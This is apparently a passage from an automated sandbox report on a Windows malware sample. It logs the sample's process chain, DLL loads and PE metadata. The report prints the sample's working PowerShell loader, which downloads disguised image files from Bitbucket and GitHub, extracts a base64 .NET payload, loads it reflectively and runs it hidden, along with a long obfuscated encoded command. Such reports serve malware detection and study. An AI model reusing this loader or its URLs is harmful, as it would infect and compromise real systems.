$endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c 675c87f6bfee1.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\675c87f6bfee1.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: GdGXG0bnxH.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: GdGXG0bnxH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: GdGXG0bnxH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: GdGXG0bnxH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: GdGXG0bnxH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: GdGXG0bnxH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: GdGXG0bnxH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: GdGXG0bnxH.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: GdGXG0bnxH.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wextract.pdb source: GdGXG0bnxH.exe
Source:	Binary string: wextract.pdbGCTL source: GdGXG0bnxH.exe
Source:	Binary string: C:\Users\Administrator\source\repos\testpowershell\testpowershell\obj\Debug\testpowershell.pdb source: powershell.exe, 0000000B.00000002.1496797841.0000024985320000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: n.pdb{ source: powershell.exe, 0000000B.00000002.1497283898.0000024986DC9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: s\dll\System.Core.pdbn source: powershell.exe, 0000000B.00000002.1497238738.0000024986D66000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\source\repos\testpowershell\testpowershell\obj\Debug\testpowershell.pdbG_a_ S__CorExeMainmscoree.dll source: powershell.exe, 0000000B.00000002.1496797841.0000024985320000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000B.00000002.1497423977.000002498DFF2000.00000004.00000800.00020000.00000000.sdmp

Source: GdGXG0bnxH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: GdGXG0bnxH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: GdGXG0bnxH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: GdGXG0bnxH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: GdGXG0bnxH.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$